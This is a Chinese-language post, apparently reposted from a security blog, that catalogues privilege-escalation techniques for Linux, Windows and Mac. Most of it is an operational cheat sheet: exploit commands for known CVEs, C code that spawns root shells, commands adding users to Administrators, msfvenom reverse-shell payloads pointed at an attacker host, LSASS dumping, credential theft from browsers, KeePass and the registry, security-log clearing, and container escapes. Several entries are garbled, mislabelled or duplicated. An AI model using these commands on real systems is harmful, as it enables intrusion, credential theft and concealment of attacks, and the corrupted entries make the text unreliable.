117种提权手法

十八线安服崽 菜鸟学信安 2023-12-11 08:30 发表于重庆

什么是网络安全中的权限提升?

在网络安全领域，了解威胁至关重要，而最关键的威胁之一就是特权升级的概念。从本质上讲，权限升级是指攻击者获得通常为高级用户保留的系统权限或功能的情况。

主要有两种类型：垂直升级和水平升级。在垂直升级中，具有较低级别权限的攻击者将其权限提升到较高级别用户（通常是管理员）的权限。这使得他们能够访问受限区域、修改系统配置，甚至部署恶意软件。另一方面，横向升级涉及访问属于对等用户的资源或功能，并利用类似特权帐户的权限。

特权升级的危险是显而易见的。通过提升权限，攻击者可以绕过网络安全措施，从而损害数据完整性、机密性和系统可用性。对于组织而言，这可能会导致数据泄露、系统停机以及潜在的法律和声誉后果。识别权限升级的迹象并部署预防性网络安全措施对于保护数字资产并确保只有授权人员才能访问关键系统功能至关重要。

鉴于网络安全不断发展的形势，对特权升级等威胁保持警惕至关重要。它强调了不断更新安全协议、监控系统活动以及确保正确分配和定期审核用户角色和权限的重要性。这样做，组织可以减轻与未经授权的访问相关的风险，并保持对潜在网络对手的强大防御。

现在我们已经熟悉了这个概念，我们将继续研究这个提权概念的117种方法：

117种提权手法

DirtyC0w

域：No

Local Admin: Yes

操作系统: Linux

类型：0/1 Exploit

方法: `gcc -pthread c0w.c -o c0w; ./c0w; passwd; id`

批注：https://github.com/firefart/dirtycow

CVE-2016-1531

域：No

Local Admin: Yes

操作系统: Linux

类型：0/1 Exploit

方法: `CVE-2016-1531.sh;id`

批注：https://github.com/crypticdante/CVE-2016-1531

Polkit

域：No

Local Admin: Yes

操作系统: Linux

类型：0/1 Exploit

方法:

`https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation`

`./2. poc.sh`

DirtyPipe

域：No

Local Admin: Yes

操作系统: Linux

类型：0/1 Exploit

方法:

1. `./traitor-amd64 –exploit kernel:CVE-2022-0847`
2. `Whoami;id`

批注：https://github.com/liamg/traitor/releases/tag/v0.0.14

PwnKit

域：No

Local Admin: Yes

操作系统: Linux

类型：0/1 Exploit

方法:

1. `./cve-2021-4034`
2. `Whoami;id`

批注：https://github.com/berdav/CVE-2021-4034

ms14_058

域：No

Local Admin: Yes

操作系统: Windows

类型：0/1 Exploit

方法:

- `msf > use exploit/windows/local/ms14_058_track_popup_menu`
- `msf exploit(ms14_058_track_popup_menu) > set TARGET < target-id >`
- `msf exploit(ms14_058_track_popup_menu) > exploit`

Hot Potato

域：No

Local Admin: Yes

操作系统: Windows

类型：0/1 Exploit

方法:

1. 命令提示符下: `powershell.exe -nop -ep bypass`
2. 在Power Shell提示符类型输入: `Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1`
3. 在Power Shell提示符类型输入: `Invoke-Tater -Trigger 1 -Command “net localgroup administrators user /add”`
4. 要确认攻击是否成功，请在 Power Shell 提示符中键入: `net localgroup administrators`

批注：https://github.com/Kevin-Robertson/Tater

Intel SYSRET

域：No

Local Admin: Yes

操作系统: Windows

类型：0/1 Exploit

方法:

1. `execute -H -f sysret.exe -a "-pid [pid]"`

批注：https://github.com/jajp777/sysret

release版本：https://github.com/jajp777/sysret/tree/master/x64/Release

PrintNightmare

域：Yes

Local Admin: Yes

操作系统: Windows

类型：0/1 Exploit

方法:

1.

`https://github.com/outflanknl/PrintNightmare`

2. `PrintNightmare 10.10.10.10 exp.dll`

Folina

域名: Y/N

Local Admin: Yes

操作系统: Windows

类型：0/1 Exploit

方法:

1.

`https://github.com/JohnHammond/msdt-follina`

2. `python3 follina.py -c "notepad"`

ALPC

域名: Y/N

Local Admin: Yes

操作系统: Windows

类型：0/1 Exploit

方法:

1.

`https://github.com/riparino/Task_Scheduler_ALPC`

RemotePotato0

域名: Y/N

Local Admin: Yes

操作系统: Windows

类型: 0/1 Exploit

方法:

1. `sudo ntlmrelayx.py -t ldap://10.0.0.10 –no-wcf-server –escalate-user normal_user`
2. `.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1`

批注:

ntlmrelayx.py只找到个很相似的：https://github.com/LuemmelSec/ntlmrelayx.py_to_exe

remotepotato：https://github.com/antonioCoco/RemotePotato0/releases/tag/1.2

CVE-2022-26923

域名: Y/N

Local Admin: Yes

操作系统: Windows

类型: 0/1 Exploit

方法:

1. `certipy req ‘lab.local/cve$:CVEPassword1234*@10.100.10.13’ -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA`
2. `Rubeus.exe asktgt /user:"目标_sam名称" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_域名" /dc:"域名_CONTROLLER" /show`

批注:

rubeus：https://github.com/GhostPack/Rubeus

MS14-068

域名: Y/N

Local Admin: Yes

操作系统: Windows

类型: 0/1 Exploit

方法:

1. `python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc`

批注：

无py版本，exe版本：https://github.com/ianxtianxt/MS14-068

Sudo LD_PRELOAD

域：No

Local Admin: Yes

操作系统: Linux

类型：Injection

方法:

1.

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

2. `gcc -fPIC -shared -o /tmp/ldreload.so ldreload.c -nostartfiles`
3. `sudo LD_RELOAD=tmp/ldreload.so apache2`

Abusing File Permission via SUID Binaries – .so injection)

域：No

Local Admin: Yes

操作系统: Linux

类型：Injection

方法:

1. `mkdir /home/user/.config`
2.

```
#include <stdio.h>

#include <stdlib.h>

static void inject() _attribute _((constructor));

void inject() {

 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

}
```

3. `gcc -shared -o /home/user/.config/libcalc.so -fPIC/home/user/.config/libcalc.c`
4. `/usr/local/bin/suid-so`

`id`

DLL Injection

域：No

Local Admin: Yes

操作系统: Windows

类型: Injection

方法:

1. `RemoteDLLInjector64`

Or

`MemJect`

Or

`https://github.com/tomcarver16/BOF-DLL-Inject`

2. `#define PROCESS_NAME "csgo.exe"`

Or

`RemoteDLLInjector64.exe pid C:\runforpriv.dll`

Or

`mandllinjection ./runforpriv.dll pid`

批注:

remoteDllInjector：https://github.com/Al1ex/RemoteDLLInjector

memject：https://github.com/danielkrupinski/MemJect

Early Bird Injection

域：No

Local Admin: Yes

操作系统: Windows

类型：Injection

方法:

1.

`hollow svchost.exe pop.bin`

批注：hollow链接https://github.com/m0n0ph1/Process-Hollowing

Process Injection through Memory Section

域：No

Local Admin: Yes

操作系统: Windows

类型：Injection

方法:

1. `sec-shinject PID /path/to/bin`

批注：未找到

Abusing Scheduled Tasks via Cron Path Overwrite

域：No

Local Admin: Yes

操作系统: Linux

类型：Abusing Scheduled Tasks

方法:

1. `echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > systemupdate.sh;`
2. `chmod +x systemupdate.sh`
3. `等待一会儿`

4. `/tmp/bash -p`
5. `id && whoami`

Abusing Scheduled Tasks via Cron Wildcards

域：No

Local Admin: Yes

操作系统: Linux

类型: Abusing Scheduled Tasks

方法:

1. `echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/systemupdate.sh;`
2. `touch /home/user/ –checkpoint=1;`
3. `touch /home/user/ –checkpoint-action=exec=sh\systemupdate.sh`
4. `等待一会儿`
5. `/tmp/bash -p`
6. `id && whoami`

Abusing File Permission via SUID Binaries – Symlink)

域：No

Local Admin: Yes

操作系统: Linux

类型: Abusing File Permission

方法:

1. `su – www-data;`
2. `nginxed-root.sh /var/log/nginx/error.log;`
3. In root user
4. `invoke-rc.d nginx rotate >/dev/null 2>&1`

Abusing File Permission via SUID Binaries – Environment Variables #1)

域：No

Local Admin: Yes

操作系统: Linux

类型: Abusing File Permission

方法:

1. `echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' >/tmp/service.c;`

2. `gcc /tmp/services.c -o /tmp/service;`
3. `export PATH=/tmp:$PATH;`
4. `/usr/local/bin/sudi-env; id`

Abusing File Permission via SUID Binaries – Environment Variables #2)

域：No

Local Admin: Yes

操作系统: Linux

类型: Abusing File Permission

方法:

1. `env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +S /tmp/bash)' /bin/sh -c /usr/local/bin/suid-env2; set +x; /tmp/bash -p`

DLL Hijacking

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1. `Windows_dll.c: cmd.exe /k net localgroup administrators user /add`
2. `x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll`
3. `sc stop dllsvc & sc start dllsvc`

Abusing Services via binPath

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1. `sc config daclsvc binpath= "net localgroup administrators user /add"`
2. `sc start daclsvc`

Abusing Services via Unquoted Path

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1. `msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe`
2. `common.exe 放在 'C:\Program Files\Unquoted Path Service'.`
3. `sc start unquotedsvc`

Abusing Services via Registry

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1. `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t`
2. `REG_EXPAND_SZ /d c:\temp\x.exe /f`
3. `sc start regsvc`

Abusing Services via Executable File

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1. `copy /y c:\Temp\x.exe "c:\Program Files\File Permissions Service\filepermservice.exe"`
2. `sc start filepermsvc`

Abusing Services via Autorun

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

In Metasploit (msf > prompt) 类型：`use multi/handler`

In Metasploit (msf > prompt) 类型：`set payload windows/meterpreter/reverse_tcp`

In Metasploit (msf > prompt) 类型：`set lhost [Kali VM IP Address]`

In Metasploit (msf > prompt) 类型：`run`

打开另一个命令提示符并键入:

`msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe`

2.

`program.exe 放在 'C:\Program Files\Autorun Program'.`

Abusing Services via AlwaysInstallElevated

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f msi-nouac -o setup.msi`

2.

`msiexec /quiet /qn /i C:\Temp\setup.msi`

Or

`SharpUp.exe AlwaysInstallElevated`

批注：sharpup链接https://github.com/GhostPack/SharpUp

Abusing Services via SeCreateToken

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll`

2.

`!rmpriv`

Abusing Services via SeDebug

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`Conjure-LSASS`

Or

`syscall_enable_priv 20`

Remote Process via Syscalls (HellsGate|Hal操作系统Gate)

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`injectEtwBypass pid`

批注：https://github.com/boku7/injectEtwBypass

Escalate With DuplicateTokenEx

域：Yes

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

`PrimaryTokenTheft.exe pid`

Or

`TokenPlaye.exe –impersonate –pid pid`

批注：

primarytokenthenft：https://github.com/slyd0g/PrimaryTokenTheft

tokenplaye：https://github.com/S1ckB0y1337/TokenPlayer/releases/tag/v0.8

Abusing Services via SeIncreaseBasePriority

域：No

Local Admin: Yes

操作系统: Windows

类型：Abuse Privilege

方法:

1.

`start /realtime SomeCpuIntensiveApp.exe`

批注：

找了一圈，只有这儿有相关内容：https://github.com/gtworek/Priv2Admin

Abusing Services via SeManageVolume

域：No

Local Admin: Yes

操作系统: Windows

类型：Abuse Privilege

方法:

1.

`只需编译并运行SeManageVolumeAbuse`

批注：https://github.com/xct/SeManageVolumeAbuse

Abusing Services via SeRelabel

域：No

Local Admin: Yes

操作系统: Windows

类型：Abuse Privilege

方法:

1.

`WRITE_OWNER对资源的访问权限，包括文件和文件夹。`

2.

`Run for privilege escalation`

Abusing Services via SeRestore

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1. `启动具有 SeRestore 权限的 PowerShell/ISE`.
2. `使用Enable-SeRestorePrivilege 启用权限`.
3. `将utilman.exe重命名为utilman.old`
4. `将cmd.exe重命名为utilman.exe`
5. `锁定控制台并按Win+U`

Abuse via SeBackup

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

In Metasploit (msf > prompt) 输入: `use auxiliary/server/capture/http_basic`

In Metasploit (msf > prompt) 输入: `set uripath x`

In Metasploit (msf > prompt) 输入: `run`

2.

`在taskmgr中，右键单击“Image Name”栏中的“iexplore.exe”`

`并从弹出菜单中选择“创建转储文件”.`

3.

`strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"`

选择复制 Base64 编码字符串

在命令提示符下键入：`echo -ne [Base64 String] | Base64-d`

Abusing via SeCreatePagefile

域：No

Local Admin: Yes

操作系统: Windows

类型：Abuse Privilege

方法:

1.

```
HIBR2BIN /PLATFORM X64 /MAJOR 6 /MINOR 1 /INPUT hiberfil.sys /OUTPUT uncompressed.bin
```

批注：https://github.com/MagnetForensics/Hibr2Bin

Abusing via SeSystemEnvironment

域：No

Local Admin: Yes

操作系统: Windows

类型：Abuse Privilege

方法:

1.

```
. load C:\dev\PrivEditor\x64\Release\PrivEditor.dll
```

2.

```
TrustExec.exe -m exec -c "whoami /priv" -f
```

批注：两个工具都没找到QAQ

Abusing via SeTakeOwnership

域：No

Local Admin: Yes

操作系统: Windows

类型：Abuse Privilege

方法:

1. `takeown.exe /f "%windir%\system32"`
2. `icalcs.exe "%windir%\system32" /grant "%username%":F`
3. 将cmd.exe重命名为utilman.exe
4. 锁定控制台并按Win+U

Abusing via SeTcb

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`PSBits`

Or

`PrivFu`

2.

`psexec.exe -i -s -d cmd.exe`

Abusing via SeTrustedCredManAccess

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`.load C:\dev\PrivEditor\x64\Release\PrivEditor.dll`

Or

`CredManBOF`

2.

`TrustExec.exe -m exec -c "whoami /priv" -f`

Abusing tokens via SeAssignPrimaryToken

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`JuicyPotato.exe`

Or

`https://github.com/decoder-it/juicy_2`

`https://github.com/antonioCoco/RoguePotato`

Abusing via SeCreatePagefile

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Privilege

方法:

1.

`./WELA.ps1 -LogFile .\Security.evtx -EventIDStatistics`

2.

`flog -s 10s -n 200`

Or

`invoke-module LogCleaner.ps1`

批注：wela链接https://github.com/Yamato-Security/WELA

日志伪造工具flog：https://github.com/mingrammer/flog

Certificate Abuse

域：Yes

Local Admin: Yes

操作系统: Windows

类型: Abusing Certificate

方法:

1.

`ceritify.exe request /ca:dc.domain.local\DC-CA /template:User…`

2.

`Rubeus.exe asktgy /user:CORP\itadmin /certificate:C:\cert.pfx /password:password`

Password Mining in Memory

域：No

Local Admin: Yes

操作系统: Linux

类型: Enumeration & Hunt

方法:

1. `ps -ef | grep ftp;`
2. `gdp -p ftp_id`
3. `info proc mappings`
4. `q`
5. `dump memory /tmp/mem [start] [end]`
6. `q`
7. `strings /tmp/mem | grep passw`

Password Mining in Memory

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

In Metasploit (msf > prompt) 输入: `use auxiliary/server/capture/http_basic`

In Metasploit (msf > prompt) 输入: `set uripath x`

In Metasploit (msf > prompt) 输入: `run`

2.

在taskmgr中，右键单击“Image Name”栏中的“iexplore.exe”

并从弹出菜单中选择“创建转储文件”.

3.

`strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"`

选择复制 Base64 编码字符串.

在命令提示符下键入: `echo -ne [Base64 String] | base64 -d`

Password Mining in Registry

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

打开命令并输入:

`reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v DefaultUsername`

2.

在命令提示符下键入:

`reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v DefaultPassword`

3.

请注意输出中的凭据

4.

在命令提示符下键入:

`reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42 -v ProxyUsername`

5.

在命令提示符下键入:

`reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42 -v ProxyPassword`

6. 注意输出中的凭据

7.

在命令提示符下键入:

`reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v Password`

8.

在命令提示符下键入:

`reg query HKEY_CURRENT_USER\Software\TightVNC\Server /v PasswordViewOnly`

9.

记下加密的密码并输入:

`C:\Users\User\Desktop\Tools\vncpwd\vncpwd.exe [Encrypted Password]`

10.

从输出中记下凭据.

Password Mining in General Events via SeAudit

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`./WELA.ps1 -LogFile .\Security.evtx -EventIDStatistics`

2.

`flog -s 10s -n 200`

Or

`invoke-module LogCleaner.ps1`

Password Mining in Security Events via SeSecurity

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`./WELA.ps1 -LogFile .\Security.evtx -EventIDStatistics`

2.

`flog -s 10s -n 200`

Or

`wevtutil cl Security`

Startup Applications

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

In Metasploit (msf > prompt) 输入: `use multi/handler`

In Metasploit (msf > prompt) 输入: `set payload windows/meterpreter/reverse_tcp`

In Metasploit (msf > prompt) 输入: `set lhost [Kali VM IP Address]`

In Metasploit (msf > prompt) 输入: `run`

打开另一个命令提示符并键入:

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Kali VM IP Address] -f exe -o x.exe`

2.

`将 x.exe 放在“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”.`

Password Mining in McAfeeSitelistFiles

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`SharpUp.exe McAfeeSitelistFiles`

批注：https://github.com/GhostPack/SharpUp

Password Mining in CachedGPPPassword

域名: Y/N

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`SharpUp.exe CachedGPPPassword`

Password Mining in DomainGPPPassword

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`SharpUp.exe domianGPPPassword`

Password Mining in KeePass

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`Seatbelt.exe keepass`

Or

`KeeTheft.exe`

批注：

seatbelt：https://github.com/GhostPack/Seatbelt

KeeTheft未找到

Password Mining in WindowsVault

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`Seatbelt.exe WindowsVault`

Password Mining in SecPackageCreds

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`Seatbelt.exe SecPackageCreds`

Password Mining in PuttyH操作系统tKeys

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`Seatbelt.exe PuttyHostKeys`

Password Mining in RDCManFiles

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`Seatbelt.exe RDCManFiles`

Password Mining in RDPSavedConnections

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`Seatbelt.exe RDPSavedConnections`

Password Mining in MasterKeys

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`SharpDPAPI masterkeys`

批注：https://github.com/GhostPack/SharpDPAPI

Password Mining in Browsers

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`SharpWeb.exe all`

批注：https://github.com/djhohnstein/SharpWeb/releases/tag/v1.2

Password Mining in Files

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`SauronEye.exe -d C:\Users\vincent\Desktop\ –filetypes .txt .doc .docx .xls –contents –keywords password pass* -v`

批注：https://github.com/vivami/SauronEye/releases/tag/v0.0.9

Password Mining in LDAP

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`SharpLDAPSearch.exe "(&(objectClass=user)(cn=*svc*))" "sam用户名"`

Or

`Import-Module .\PowerView.ps1`

`Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime`

批注：

sharpldapsearch：https://github.com/mitchmoser/SharpLDAPSearch/releases/tag/v1.2

powerview：好多个版本，应该是这个吧？https://github.com/ericshoemaker/PowerView

Password Mining in Clipboard

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

`execute-assembly /root/SharpClipHistory.exe`

批注：https://github.com/FSecureLABS/SharpClipHistory/releases/tag/v1.0

Password Mining in GMSA Password

域：No

Local Admin: Yes

操作系统: Windows

类型: Enumeration & Hunt

方法:

1.

```
GMSAPasswordReader.exe –accountname SVC_SERVICE_ACCOUNT
```

批注：https://github.com/rvazarkar/GMSAPasswordReader

Delegate tokens via RDP

域：No

Local Admin: Yes

操作系统: Windows/Linux

类型: Delegate tokens

方法:

1.

```
./fake_rdp.py
```

Or

```
pyrdp-mitm.py 192.168.1.10 -k private_key.pem -c certificate.pem
```

批注:

fake_rdp：https://github.com/cheeseandcereal/fake-rdp

pyrdp-mitm未找到QAQ

Delegate tokens via FTP

域：No

Local Admin: Yes

操作系统: Windows/Linux

类型: Delegate tokens

方法:

1.

```
FakeFtpServer fakeFtpServer = new FakeFtpServer();

fakeFtpServer.addUserAccount(new UserAccount("user", "password", "c:\\data"));

FileSystem fileSystem = new WindowsFakeFileSystem();

fileSystem.add(new DirectoryEntry("c:\\data"));

fileSystem.add(new FileEntry("c:\\data\\file1.txt", "abcdef 1234567890"));

fileSystem.add(new FileEntry("c:\\data\\run.exe"));

fakeFtpServer.setFileSystem(fileSystem);

fakeFtpServer.start();
```

Fake Logon Screen

域：No

Local Admin: Yes

操作系统: Windows

类型: Delegate tokens

方法:

1.

```
execute-assembly fakelogonscreen.exe
```

批注：https://github.com/bitsadmin/fakelogonscreen/releases/tag/1.1

Abusing WinRM Services

域：No

Local Admin: Yes

操作系统: Windows

类型: Abuse Service

方法:

1.

```
RogueWinRM.exe -p C:\windows\system32\cmd.exe
```

批注：https://github.com/antonioCoco/RogueWinRM/releases/tag/1.1

Dump lsass with SilentProcessExit

域：No

Local Admin: Yes

操作系统: Windows

类型：Enumeration & Hunting

方法:

1. `SilentProcessExit.exe pid`

批注：https://github.com/deepinstinct/LsassSilentProcessExit

Lsass Shtinkering

域：No

Local Admin: Yes

操作系统: Windows

类型：Enumeration & Hunting

方法:

1. `HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps->2`
2. `LSASS_Shtinkering.exe pid`

批注：https://github.com/deepinstinct/Lsass-Shtinkering

AndrewSpecial

域: No

Local Admin: Yes

操作系统: Windows

类型：Enumeration & Hunting

方法：

- `AndrewSpecial.exe`

批注：https://github.com/hoangprod/AndrewSpecial

CCACHE ticket reuse from /tmp

域: Yes

Local Admin: Yes

操作系统: Linux

类型: Enumeration & Hunting

方法:

- `ls /tmp/ | grep krb5cc_X`
- `export KRB5CCNAME=/tmp/krb5cc_X`

CCACHE ticket reuse from keyring

域: Yes

Local Admin: Yes

操作系统: Linux

类型: Enumeration & Hunting

方法:

- `https://github.com/TarlogicSecurity/tickey`
- `/tmp/tickey -i`

CCACHE ticket reuse from SSSD KCM

域: Yes

Local Admin: Yes

操作系统: Linux

类型: Enumeration & Hunting

方法:

- `git clone https://github.com/fireeye/SSSDKCMExtractor`
- `python3 SSSDKCMExtractor.py –database secrets.ldb –key secrets.mkey`

CCACHE ticket reuse from keytab

域: Yes

Local Admin: Yes

操作系统：Linux/Windows/Mac

类型：Enumeration & Hunting

方法:

- `git clone https://github.com/its-a-feature/KeytabParser`
- `python KeytabParser.py /etc/krb5.keytab`
- `klist -k /etc/krb5.keytab`

Or

- `klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab`
- `python3 keytabextract.py krb5.keytab`
- `./bifrost -action dump -source keytab -path test`

SSH Forwarder

域：Yes

Local Admin: Yes

操作系统：Linux

类型：Enumeration & Hunting

方法：

- 转发代理 yes `ForwardAgent yes`
- `SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston`

AppleScript

域：No

Local Admin: Yes

操作系统：Windows

类型：Enumeration & Hunt

方法：

- (EmPyre) > `listeners`
- (EmPyre: listeners) > `set Name mylistener`
- (EmPyre: listeners) > `execute`
- (EmPyre: listeners) > `usestager applescript mylistener`
- (EmPyre: stager/applescript) > `execute`

批注：这个工具我找了半天，发现这是个七八年前的一个工具

链接地址https://github.com/EmpireProject/EmPyre

DLL Search Order Hijacking

域：No

Local Admin: Yes

操作系统：Windows

类型：Hijack

方法：

- https://github.com/slaeryan/AQUARMOURY/tree/master/Brownie
- 运行Brownie

Slui File Handler Hijack LPE

域：No

Local Admin: Yes

操作系统：Windows

类型：Hijack

方法：

- https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation
- Slui.exe

CDPSvc DLL Hijacking

域：No

Local Admin: Yes

操作系统：Windows

类型：Hijack

方法：

- Cdpsgshims.exe

Magnify.exe Dll Search Order Hijacking

域：No

Local Admin: Yes

操作系统：Windows

类型：Hijack

方法：

- 将有效负载 dll 作为 igdgmm64.dll 复制到可写的系统路径 %PATH%，例如 C:\python27
- 按Win键+L
- 按回车键
- 在显示密码框的登录屏幕上按 WinKey++(plusKey).
- 然后payload dll将以系统访问权限执行.

CdpSvc Service

域：No

Local Admin: Yes

操作系统：Windows

类型：Hijack

方法：

- 使用 acltest.ps1 查找可写系统路径（例如 C:\python27）
- C:\CdpSvcLPE> powershell -ep bypass “..\acltest.ps1”
- 将 cdpsgshims.dll 复制到 C:\python27
- 创建 C:\temp 文件夹并将 impersonate.bin 复制到 C:\temp
- C:\CdpSvcLPE> mkdir C:\temp
- C:\CdpSvcLPE> copy impersonate.bin C:\temp
- 重新启动（或以管理员身份停止/启动 CDPSvc）
- cmd 将提示 nt authority\system。

HiveNightmare

域：Yes

Local Admin: Yes

操作系统：Windows

类型： 0/1 Exploit

方法：

- HiveNightmare.exe 200

CVE-2021-30655

域：No

Local Admin: Yes

操作系统：Windows

类型： 0/1 Exploit

方法：

- https://github.com/thehappydinoa/rootOS
- Python rootOS.py

CVE-2019-8526

域：No

Local Admin: Yes

操作系统：Mac

类型： 0/1 Exploit

方法：

- https://github.com/amanszpapaya/MacPer
- Python main.py

CVE-2020-9771

域：No

Local Admin: Yes

操作系统：Mac

类型： 0/1 Exploit

方法：

- https://github.com/amanszpapaya/MacPer
- Python main.py

CVE-2021-3156

域：No

Local Admin: Yes

操作系统：Mac

类型： 0/1 Exploit

方法：

- https://github.com/amanszpapaya/MacPer
- Python main.py

CVE-2018-4280

域：No

Local Admin: Yes

操作系统：Mac

类型： 0/1 Exploit

方法：

- https://github.com/bazad/launchd-portrep
- ./launchd-portrep 'touch /tmp/exploit-success'=

Abusing with FileRestorePrivilege

域：Y/N

Local Admin: Yes

操作系统：Windows

类型：Abuse Privilege

方法：

- `poptoke.exe`

Abusing with RestoreAndBackupPrivileges

域：Y/N

Local Admin: Yes

操作系统：Windows

类型：Abuse Privilege

方法：

- `poptoke.exe`

Abusing with ShadowCopyBackupPrivilege

域：Y/N

Local Admin: Yes

操作系统：Windows

类型：Abuse Privilege

方法：

- `poptoke.exe`

Abusing with ShadowCopy

域：Y/N

Local Admin: Yes

操作系统：Windows

类型：Abuse Privilege

方法：

- `poptoke.exe`

批注：我找了很多，感觉最像是的应该是这个工具

链接https://github.com/hatRiot/token-priv

Dynamic Phishing

域：Y/N

Local Admin: Yes

操作系统：Mac

类型：Phish

方法：

- `https://github.com/thehappydinoa/rootOS`
- `Python rootOS.py`

Race Conditions

域：No

Local Admin: Yes

操作系统：Windows

类型：Race Condition

方法：

- `echo “net localgroup administrators attacker /add” > C:\temp\not-evil.bat`
- `tempracer.exe C:\ temp\*.bat`

Abusing usermode helper API

域：No

Local Admin: Yes

操作系统：Linux

类型：Abusing Capabilities

方法：

```
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
t=`sed -n ‘s/.*\perdir=\([^,]*\).*/\1/p’ /etc/mtab`
touch /o; echo $t/c > $d/release_agent
echo “#!/bin/sh” > /c
echo “ps > $t/o” >> /c
chmod +x /c
sh -c “echo 0 > $d/w/cgroup.procs”; sleep 1
cat /o
```

Escape only with CAP_SYS_ADMIN capability

域：No

Local Admin: Yes

操作系统：Linux

类型：Abusing Capabilities

方法：

```
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir
/tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/sh" > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```

Abusing exposed host directories

域：No

Local Admin: Yes

操作系统：Linux

类型：Abusing Capabilities

方法：

